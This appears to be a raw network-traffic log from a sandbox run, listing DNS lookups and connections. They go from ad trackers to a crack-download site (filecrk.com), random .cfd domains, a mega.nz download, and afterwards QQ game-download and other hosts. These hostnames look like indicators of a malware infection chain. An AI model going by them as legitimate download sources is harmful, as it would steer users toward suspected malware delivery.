GB 89.187.167.41:443 1589314308.rsc.cdn77.org udp
US 8.8.8.8:53 ams.creativecdn.com udp
US 8.8.8.8:53 ams.creativecdn.com udp
US 8.8.8.8:53 ams.creativecdn.com udp
NL 185.184.8.90:443 ams.creativecdn.com tcp
NL 185.184.8.90:443 ams.creativecdn.com tcp
US 8.8.8.8:53 consentcdn.cookiebot.com udp
GB 23.62.198.9:443 consentcdn.cookiebot.com tcp
US 8.8.8.8:53 e3849.dsca.akamaiedge.net udp
US 8.8.8.8:53 e3849.dsca.akamaiedge.net udp
GB 142.250.178.4:443 www.google.com tcp
GB 142.250.178.4:443 www.google.com udp
US 8.8.8.8:53 195.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 41.167.187.89.in-addr.arpa udp
US 8.8.8.8:53 9.198.62.23.in-addr.arpa udp
US 8.8.8.8:53 ib.adnxs.com udp
US 8.8.8.8:53 cm.g.doubleclick.net udp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
NL 185.89.210.180:443 ib.adnxs.com tcp
GB 142.250.179.226:443 cm.g.doubleclick.net tcp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
US 8.8.8.8:53 cm.creativecdn.com udp
NL 185.184.8.90:443 cm.creativecdn.com tcp
US 104.18.28.25:443 assets-cf.gamivo.com udp
US 8.8.8.8:53 www.dwin1.com udp
US 8.8.8.8:53 connect.facebook.net udp
US 8.8.8.8:53 dynamic.criteo.com udp
US 8.8.8.8:53 pixel.wp.pl udp
US 8.8.8.8:53 event.getblue.io udp
US 8.8.8.8:53 bat.bing.com udp
US 8.8.8.8:53 cdn.taboola.com udp
US 8.8.8.8:53 utt.impactcdn.com udp
US 8.8.8.8:53 static.hotjar.com udp
DK 157.240.200.14:443 connect.facebook.net tcp
AT 18.66.27.64:443 www.dwin1.com tcp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 d2pbcviywxotf2.cloudfront.net udp
PL 212.77.100.84:443 pixel.wp.pl tcp
US 8.8.8.8:53 pixel.wp.pl udp
BR 52.67.178.172:443 event.getblue.io tcp
US 8.8.8.8:53 event.getblue.io udp
PL 91.239.185.96:443 deals.gamivo.com tcp
PL 91.239.185.96:443 deals.gamivo.com tcp
NL 178.250.1.8:443 dynamic.criteo.com tcp
BR 52.67.178.172:443 event.getblue.io tcp
US 8.8.8.8:53 deals.gamivo.com udp
US 8.8.8.8:53 in-ftd-109.nl3.vip.prod.criteo.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
AT 3.161.119.89:443 www.mczbf.com tcp
US 8.8.8.8:53 tls13.taboola.map.fastly.net udp
US 8.8.8.8:53 dcjdc5qmbbux7.cloudfront.net udp
US 35.186.249.72:443 utt.impactcdn.com tcp
US 8.8.8.8:53 utt.impactcdn.com udp
US 8.8.8.8:53 pixel.wp.pl udp
US 8.8.8.8:53 static-cdn.hotjar.com udp
US 8.8.8.8:53 d2pbcviywxotf2.cloudfront.net udp
US 8.8.8.8:53 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 event.getblue.io udp
US 8.8.8.8:53 in-ftd-109.nl3.vip.prod.criteo.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 tls13.taboola.map.fastly.net udp
US 8.8.8.8:53 deals.gamivo.com udp
US 8.8.8.8:53 utt.impactcdn.com udp
US 8.8.8.8:53 dcjdc5qmbbux7.cloudfront.net udp
US 8.8.8.8:53 static-cdn.hotjar.com udp
NL 178.250.1.11:443 dnacdn.net tcp
US 35.186.249.72:443 utt.impactcdn.com udp
AT 3.161.119.89:443 dcjdc5qmbbux7.cloudfront.net tcp
DK 157.240.200.14:443 scontent.xx.fbcdn.net udp
US 8.8.8.8:53 an.gr-wcon.com udp
PL 178.16.117.30:443 an.gr-wcon.com tcp
US 8.8.8.8:53 an.gr-wcon.com udp
PL 178.16.117.30:443 an.gr-wcon.com tcp
US 8.8.8.8:53 an.gr-wcon.com udp
NL 178.250.1.11:443 dnacdn.net tcp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 gbc5.fr3.eu.criteo.com udp
US 8.8.8.8:53 gbc2.nl3.eu.criteo.com udp
FR 185.235.86.156:443 gbc5.fr3.eu.criteo.com tcp
NL 185.235.87.83:443 gbc2.nl3.eu.criteo.com tcp
US 8.8.8.8:53 us-an.gr-cdn.com udp
GB 93.123.11.62:443 us-an.gr-cdn.com tcp
US 8.8.8.8:53 cl-glbce66526.gcdn.co udp
US 8.8.8.8:53 sslwidget.criteo.com udp
US 8.8.8.8:53 cl-glbce66526.gcdn.co udp
GB 93.123.11.62:443 cl-glbce66526.gcdn.co tcp
US 8.8.8.8:53 ga2.getresponse.com udp
PL 178.16.117.14:443 ga2.getresponse.com tcp
PL 178.16.117.14:443 ga2.getresponse.com tcp
US 8.8.8.8:53 ga2.getresponse.com udp
PL 178.16.117.14:443 ga2.getresponse.com tcp
US 8.8.8.8:53 m.gr-cdn-e.eu udp
US 8.8.8.8:53 ga2.getresponse.com udp
GB 93.123.11.62:443 m.gr-cdn-e.eu tcp
US 8.8.8.8:53 widget.getblue.io udp
US 8.8.8.8:53 8.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 72.249.186.35.in-addr.arpa udp
US 8.8.8.8:53 64.27.66.18.in-addr.arpa udp
US 8.8.8.8:53 89.119.161.3.in-addr.arpa udp
US 8.8.8.8:53 84.100.77.212.in-addr.arpa udp
US 8.8.8.8:53 96.185.239.91.in-addr.arpa udp
US 8.8.8.8:53 172.178.67.52.in-addr.arpa udp
US 8.8.8.8:53 30.117.16.178.in-addr.arpa udp
US 8.8.8.8:53 62.11.123.93.in-addr.arpa udp
US 8.8.8.8:53 14.117.16.178.in-addr.arpa udp
BR 52.67.178.172:443 widget.getblue.io tcp
BR 52.67.178.172:443 widget.getblue.io tcp
US 8.8.8.8:53 widget.getblue.io udp
US 8.8.8.8:53 widget.getblue.io udp
US 8.8.8.8:53 multimedia.getresponse360.pl udp
PL 178.16.117.27:443 multimedia.getresponse360.pl tcp
US 8.8.8.8:53 multimedia.getresponse360.pl udp
US 8.8.8.8:53 multimedia.getresponse360.pl udp
US 150.171.27.10:443 ax-0001.ax-msedge.net tcp
US 151.101.1.44:443 tls13.taboola.map.fastly.net tcp
AT 13.32.110.104:443 static-cdn.hotjar.com tcp
NL 178.250.1.9:443 sslwidget.criteo.com tcp
US 8.8.8.8:53 csm.nl3.eu.criteo.net udp
US 8.8.8.8:53 csm.nl3.vip.prod.criteo.net udp
US 8.8.8.8:53 cms.getblue.io udp
US 8.8.8.8:53 csm.nl3.vip.prod.criteo.net udp
US 8.8.8.8:53 trc.taboola.com udp
BR 18.229.4.109:443 cms.getblue.io tcp
BR 18.229.4.109:443 cms.getblue.io tcp
US 8.8.8.8:53 cms.getblue.io udp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
US 8.8.8.8:53 id5-sync.com udp
US 8.8.8.8:53 ad.360yield.com udp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 exchange.mediavine.com udp
US 8.8.8.8:53 jadserve.postrelease.com.akadns.net udp
US 8.8.8.8:53 sync.outbrain.com udp
US 8.8.8.8:53 simage2.pubmatic.com udp
US 8.8.8.8:53 pixel.rubiconproject.com udp
US 8.8.8.8:53 sync-t1.taboola.com udp
GB 163.70.147.35:443 www.facebook.com tcp
US 8.8.8.8:53 criteo-sync.teads.tv udp
US 8.8.8.8:53 cms.getblue.io udp
US 8.8.8.8:53 eb2.3lift.com udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
NL 35.214.136.108:443 user-data-eu.bidswitch.net tcp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
IE 18.200.101.57:443 jadserve.postrelease.com.akadns.net tcp
US 104.18.27.193:443 htlb.casalemedia.com tcp
US 151.101.193.44:443 trc.taboola.com tcp
US 8.8.8.8:53 www.clarity.ms udp
NL 69.173.156.148:443 pixel.rubiconproject.com tcp
US 8.8.8.8:53 script.hotjar.com udp
DE 3.122.12.236:443 exchange.mediavine.com tcp
US 8.8.8.8:53 r.casalemedia.com udp
US 8.8.8.8:53 dualstack.tls13.taboola.map.fastly.net udp
US 8.8.8.8:53 exchange.mediavine.com udp
US 8.8.8.8:53 pixel.rubiconproject.net.akadns.net udp
NL 46.228.174.117:443 sync.1rx.io tcp
US 8.8.8.8:53 sync.1rx.io udp
FR 164.132.25.184:443 rtb-csync-euw2.smartadserver.com tcp
GB 185.64.191.210:443 simage2.pubmatic.com tcp
US 8.8.8.8:53 pug-lhr-bc.pubmnet.com udp
US 8.8.8.8:53 am-vip001.taboola.com udp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 chidc2.outbrain.org udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 e9957.e4.akamaiedge.net udp
US 8.8.8.8:53 e3120.g.akamaiedge.net udp
US 8.8.8.8:53 eu-eb2.3lift.com udp
US 50.31.142.127:443 sync.outbrain.com tcp
GB 95.100.244.20:443 contextual.media.net tcp
IE 52.215.200.152:443 ad.360yield.com tcp
NL 141.226.228.48:443 am-vip001.taboola.com tcp
GB 2.18.109.199:443 e9957.e4.akamaiedge.net tcp
US 8.8.8.8:53 r.casalemedia.com udp
US 8.8.8.8:53 dualstack.tls13.taboola.map.fastly.net udp
US 13.107.246.64:443 www.clarity.ms tcp
US 8.8.8.8:53 partners-1864332697.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 am-vip001.taboola.com udp
AT 3.165.206.128:443 script.hotjar.com tcp
US 8.8.8.8:53 pug-lhr-bc.pubmnet.com udp
US 52.54.35.48:443 partners-1864332697.us-east-1.elb.amazonaws.com tcp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 eu-eb2.3lift.com udp
US 8.8.8.8:53 script.hotjar.com udp
US 8.8.8.8:53 e9957.e4.akamaiedge.net udp
US 76.223.111.18:443 eu-eb2.3lift.com tcp
GB 2.18.108.136:443 e3120.g.akamaiedge.net tcp
GB 163.70.147.35:443 www.facebook.com udp
US 104.18.27.193:443 r.casalemedia.com udp
US 8.8.8.8:53 script.hotjar.com udp
US 8.8.8.8:53 cm.g.doubleclick.net udp
US 8.8.8.8:53 dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com udp
NL 178.250.1.9:443 sslwidget.criteo.com tcp
NL 178.250.1.9:443 sslwidget.criteo.com tcp
IE 52.18.184.214:443 dpm.demdex.net tcp
US 8.8.8.8:53 pips.taboola.com udp
US 8.8.8.8:53 dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 27.117.16.178.in-addr.arpa udp
US 8.8.8.8:53 44.1.101.151.in-addr.arpa udp
US 151.101.1.44:443 pips.taboola.com tcp
US 8.8.8.8:53 193.27.18.104.in-addr.arpa udp
US 8.8.8.8:53 44.193.101.151.in-addr.arpa udp
US 8.8.8.8:53 210.191.64.185.in-addr.arpa udp
US 8.8.8.8:53 148.156.173.69.in-addr.arpa udp
US 8.8.8.8:53 236.12.122.3.in-addr.arpa udp
US 8.8.8.8:53 48.228.226.141.in-addr.arpa udp
US 8.8.8.8:53 18.111.223.76.in-addr.arpa udp
US 8.8.8.8:53 128.206.165.3.in-addr.arpa udp
US 8.8.8.8:53 136.108.18.2.in-addr.arpa udp
US 8.8.8.8:53 127.142.31.50.in-addr.arpa udp
US 8.8.8.8:53 109.4.229.18.in-addr.arpa udp
US 8.8.8.8:53 48.35.54.52.in-addr.arpa udp
US 8.8.8.8:53 214.184.18.52.in-addr.arpa udp
US 8.8.8.8:53 c.clarity.ms udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
GB 95.100.244.20:443 contextual.media.net udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
IE 13.74.129.1:443 c-msn-pme.trafficmanager.net tcp
US 8.8.8.8:53 vc.hotjar.io udp
US 8.8.8.8:53 vc-live-cf.hotjar.io udp
AT 3.165.206.80:443 vc-live-cf.hotjar.io tcp
US 8.8.8.8:53 aa.agkn.com udp
US 8.8.8.8:53 vc-live-cf.hotjar.io udp
DE 18.194.73.89:443 aa.agkn.com tcp
US 8.8.8.8:53 ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com udp
NL 178.250.1.25:443 csm.nl3.vip.prod.criteo.net tcp
US 8.8.8.8:53 ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com udp
US 8.8.8.8:53 c.bing.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 150.171.28.10:443 c.bing.com tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 104.18.28.25:443 assets-cf.gamivo.com udp
US 8.8.8.8:53 80.206.165.3.in-addr.arpa udp
US 8.8.8.8:53 89.73.194.18.in-addr.arpa udp
US 8.8.8.8:53 25.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 geteasyshare.app udp
GB 99.86.114.103:443 geteasyshare.app tcp
US 8.8.8.8:53 geteasyshare.app udp
US 8.8.8.8:53 geteasyshare.app udp
US 8.8.8.8:53 103.114.86.99.in-addr.arpa udp
IE 52.18.171.138:443 metrics.hotjar.io tcp
US 8.8.8.8:53 pacman-metrics-live.live.eks.hotjar.com udp
US 8.8.8.8:53 pacman-metrics-live.live.eks.hotjar.com udp
US 8.8.8.8:53 cdn.geteasyshare.app udp
US 8.8.8.8:53 containers.geteasyshare.app udp
AT 3.165.206.75:443 cdn.geteasyshare.app tcp
US 8.8.8.8:53 d113e6q5xjybrb.cloudfront.net udp
AT 13.32.110.23:443 containers.geteasyshare.app tcp
US 8.8.8.8:53 d1bhiuzzocuycl.cloudfront.net udp
US 8.8.8.8:53 d1bhiuzzocuycl.cloudfront.net udp
US 8.8.8.8:53 d113e6q5xjybrb.cloudfront.net udp
US 8.8.8.8:53 cloudfront.geteasyshare.app udp
AT 13.32.110.68:443 cloudfront.geteasyshare.app tcp
US 8.8.8.8:53 ds4zyig8wqbvu.cloudfront.net udp
US 8.8.8.8:53 138.171.18.52.in-addr.arpa udp
US 8.8.8.8:53 75.206.165.3.in-addr.arpa udp
US 8.8.8.8:53 p.geteasyshare.app udp
US 104.18.30.234:443 app.termly.io tcp
US 8.8.8.8:53 app.termly.io udp
US 8.8.8.8:53 app.termly.io udp
US 104.21.12.42:443 p.geteasyshare.app tcp
US 8.8.8.8:53 p.geteasyshare.app udp
US 8.8.8.8:53 p.geteasyshare.app udp
US 104.18.30.234:443 app.termly.io udp
US 104.18.30.234:443 app.termly.io udp
US 104.21.12.42:443 p.geteasyshare.app udp
US 8.8.8.8:53 42.12.21.104.in-addr.arpa udp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 216.239.34.36:443 region1.google-analytics.com udp
NL 178.250.1.25:443 csm.nl3.vip.prod.criteo.net tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 172.67.164.132:443 easy1.cyou tcp
US 8.8.8.8:53 easy1.cyou udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 aax.amazon-adsystem.com udp
NL 89.149.192.192:443 euw1.smartadserver.com tcp
NL 185.89.211.116:443 ib.adnxs.com tcp
US 8.8.8.8:53 d1jvc9b8z3vcjs.cloudfront.net udp
US 8.8.8.8:53 d1jvc9b8z3vcjs.cloudfront.net udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 cdn.ampproject.org udp
US 8.8.8.8:53 cdn-content.ampproject.org udp
GB 172.217.169.65:443 cdn-content.ampproject.org udp
IE 52.142.124.215:443 duckduckgo.com tcp
IE 52.142.124.215:443 duckduckgo.com tcp
US 8.8.8.8:53 cdn-content.ampproject.org udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
IE 20.223.54.233:443 links.duckduckgo.com tcp
US 8.8.8.8:53 links.duckduckgo.com udp
US 8.8.8.8:53 links.duckduckgo.com udp
US 8.8.8.8:53 shb.richaudience.com udp
US 8.8.8.8:53 shb.richaudience.com udp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.124.215:443 duckduckgo.com tcp
IE 52.142.124.215:443 duckduckgo.com tcp
IE 52.142.124.215:443 duckduckgo.com tcp
US 8.8.8.8:53 support.mozilla.org udp
US 8.8.8.8:53 www.mozilla.org udp
US 8.8.8.8:53 wiki.mozilla.org udp
US 8.8.8.8:53 www-mozilla.fastly-edge.com udp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.wikimo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.wikimo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 www-mozilla.fastly-edge.com udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
GB 172.217.169.2:443 googleads.g.doubleclick.net udp
GB 172.217.169.2:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 2.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 github.githubassets.com udp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 185.199.108.133:443 avatars.githubusercontent.com tcp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 8.8.8.8:53 github.githubassets.com udp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 8.8.8.8:53 github.githubassets.com udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 154.109.199.185.in-addr.arpa udp
US 8.8.8.8:53 collector.github.com udp
US 140.82.113.21:443 collector.github.com tcp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 140.82.113.21:443 collector.github.com tcp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 api.github.com udp
GB 20.26.156.210:443 api.github.com tcp
US 8.8.8.8:53 api.github.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 210.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 21.113.82.140.in-addr.arpa udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 filecrk.com udp
GB 20.26.156.210:443 api.github.com tcp
US 140.82.113.21:443 collector.github.com tcp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 filecrk.com udp
NL 185.216.143.19:443 filecrk.com tcp
NL 185.216.143.19:443 filecrk.com udp
US 8.8.8.8:53 i0.wp.com udp
US 8.8.8.8:53 c0.wp.com udp
US 8.8.8.8:53 secure.gravatar.com udp
US 192.0.77.2:443 i0.wp.com tcp
US 8.8.8.8:53 i0.wp.com udp
US 192.0.77.37:443 c0.wp.com tcp
US 192.0.77.37:443 c0.wp.com tcp
US 192.0.77.37:443 c0.wp.com tcp
US 8.8.8.8:53 c0.wp.com udp
US 192.0.77.37:443 c0.wp.com tcp
US 192.0.77.37:443 c0.wp.com tcp
US 192.0.76.3:443 pixel.wp.com tcp
US 8.8.8.8:53 stats.wp.com udp
US 8.8.8.8:53 secure.gravatar.com udp
US 8.8.8.8:53 i0.wp.com udp
US 8.8.8.8:53 secure.gravatar.com udp
US 8.8.8.8:53 c0.wp.com udp
US 192.0.77.2:443 i0.wp.com udp
US 192.0.73.2:443 secure.gravatar.com tcp
US 192.0.77.37:443 c0.wp.com udp
US 192.0.76.3:443 pixel.wp.com udp
US 192.0.76.3:443 pixel.wp.com tcp
US 192.0.76.3:443 pixel.wp.com udp
US 192.0.73.2:443 secure.gravatar.com udp
US 8.8.8.8:53 s.w.org udp
US 192.0.77.48:443 s.w.org tcp
US 192.0.77.48:443 s.w.org tcp
US 192.0.77.48:443 s.w.org tcp
US 192.0.77.48:443 s.w.org tcp
US 192.0.77.48:443 s.w.org tcp
US 192.0.77.48:443 s.w.org tcp
US 8.8.8.8:53 s.w.org udp
US 192.0.77.48:443 s.w.org udp
US 8.8.8.8:53 19.143.216.185.in-addr.arpa udp
US 8.8.8.8:53 2.77.0.192.in-addr.arpa udp
US 8.8.8.8:53 37.77.0.192.in-addr.arpa udp
US 8.8.8.8:53 48.77.0.192.in-addr.arpa udp
US 104.18.29.25:443 assets-cf.gamivo.com udp
US 8.8.8.8:53 vl718061124vpd.cfd udp
US 172.67.130.176:443 vl718061124vpd.cfd tcp
US 8.8.8.8:53 vl718061124vpd.cfd udp
US 8.8.8.8:53 vl718061124vpd.cfd udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 172.67.130.176:443 vl718061124vpd.cfd udp
US 8.8.8.8:53 href.li udp
US 192.0.78.27:443 href.li tcp
US 8.8.8.8:53 href.li udp
US 8.8.8.8:53 176.130.67.172.in-addr.arpa udp
US 8.8.8.8:53 27.78.0.192.in-addr.arpa udp
US 192.0.78.27:443 href.li udp
US 8.8.8.8:53 6meeripw061124z.cfd udp
US 104.21.80.1:80 6meeripw061124z.cfd tcp
US 8.8.8.8:53 6meeripw061124z.cfd udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 code.jquery.com udp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 151.101.66.137:443 code.jquery.com tcp
US 8.8.8.8:53 code.jquery.com udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 code.jquery.com udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 1.80.21.104.in-addr.arpa udp
US 8.8.8.8:53 229.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 137.66.101.151.in-addr.arpa udp
LU 31.216.144.5:443 mega.nz tcp
LU 31.216.144.5:443 mega.nz tcp
US 8.8.8.8:53 mega.nz udp
US 8.8.8.8:53 eu.static.mega.co.nz udp
US 8.8.8.8:53 mega.nz udp
US 8.8.8.8:53 eu.static.mega.co.nz udp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 g.api.mega.co.nz udp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
US 8.8.8.8:53 134.169.44.89.in-addr.arpa udp
US 8.8.8.8:53 lu.api.mega.co.nz udp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
LU 89.44.169.134:443 eu.static.mega.co.nz tcp
N/A 127.0.0.1:6341 tcp
US 8.8.8.8:53 g.megaad.nz udp
LU 89.44.169.132:443 g.megaad.nz tcp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
US 8.8.8.8:53 gfs214n111.userstorage.mega.co.nz udp
ES 185.206.27.21:443 gfs214n111.userstorage.mega.co.nz tcp
ES 185.206.27.21:443 gfs214n111.userstorage.mega.co.nz tcp
ES 185.206.27.21:443 gfs214n111.userstorage.mega.co.nz tcp
ES 185.206.27.21:443 gfs214n111.userstorage.mega.co.nz tcp
US 8.8.8.8:53 gfs214n111.userstorage.mega.co.nz udp
US 8.8.8.8:53 gfs214n111.userstorage.mega.co.nz udp
ES 185.206.27.21:443 gfs214n111.userstorage.mega.co.nz tcp
ES 185.206.27.21:443 gfs214n111.userstorage.mega.co.nz tcp
US 8.8.8.8:53 21.27.206.185.in-addr.arpa udp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 bat.bing.com udp
US 8.8.8.8:53 www.google.co.uk udp
US 104.18.28.25:443 assets-cf.gamivo.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 www.google.co.uk udp
US 216.239.34.36:443 region1.analytics.google.com udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 masterconn.qq.com udp
US 8.8.8.8:53 p2pupgrade.gamedl.qq.com udp
US 8.8.8.8:53 master.etl.desktop.qq.com udp
CN 157.255.4.39:443 master.etl.desktop.qq.com tcp
CN 81.71.56.111:8000 p2pupgrade.gamedl.qq.com tcp
US 8.8.8.8:53 masterconn2.qq.com udp
US 8.8.8.8:53 stat.gamedl.qq.com udp
US 8.8.8.8:53 config.gamedl.qq.com udp
US 8.8.8.8:53 stun.qqlive.qq.com udp
US 8.8.8.8:53 p2pupdate.gamedl.qq.com udp
US 8.8.8.8:53 syzs.qq.com udp
CN 42.187.183.203:14309 config.gamedl.qq.com tcp
CN 175.178.155.243:8000 stun.qqlive.qq.com udp
CN 183.47.102.181:80 syzs.qq.com tcp
CN 175.178.155.243:8000 stun.qqlive.qq.com udp
CN 42.187.183.76:8000 ps2.gamedl.qq.com udp
CN 81.71.56.21:8000 p2pupdate.gamedl.qq.com udp
US 8.8.8.8:53 243.155.178.175.in-addr.arpa udp
US 8.8.8.8:53 76.183.187.42.in-addr.arpa udp
US 8.8.8.8:53 21.56.71.81.in-addr.arpa udp
CN 175.178.155.243:8000 stun.qqlive.qq.com udp
CN 175.178.155.243:8000 stun.qqlive.qq.com udp
CN 157.255.4.39:443 master.etl.desktop.qq.com tcp
CN 183.47.102.216:80 syzs.qq.com tcp
CN 42.187.183.203:14309 config.gamedl.qq.com tcp
CN 183.61.39.228:8000 udp
US 8.8.8.8:53 228.39.61.183.in-addr.arpa udp
CN 183.47.102.181:80 syzs.qq.com tcp
CN 42.187.183.203:14309 config.gamedl.qq.com tcp
CN 113.105.95.120:443 tcp
US 8.8.8.8:53 btb.conclie.com udp
US 104.18.29.130:443 btb.conclie.com tcp
US 8.8.8.8:53 130.29.18.104.in-addr.arpa udp
US 8.8.8.8:53 www.mozilla.org udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
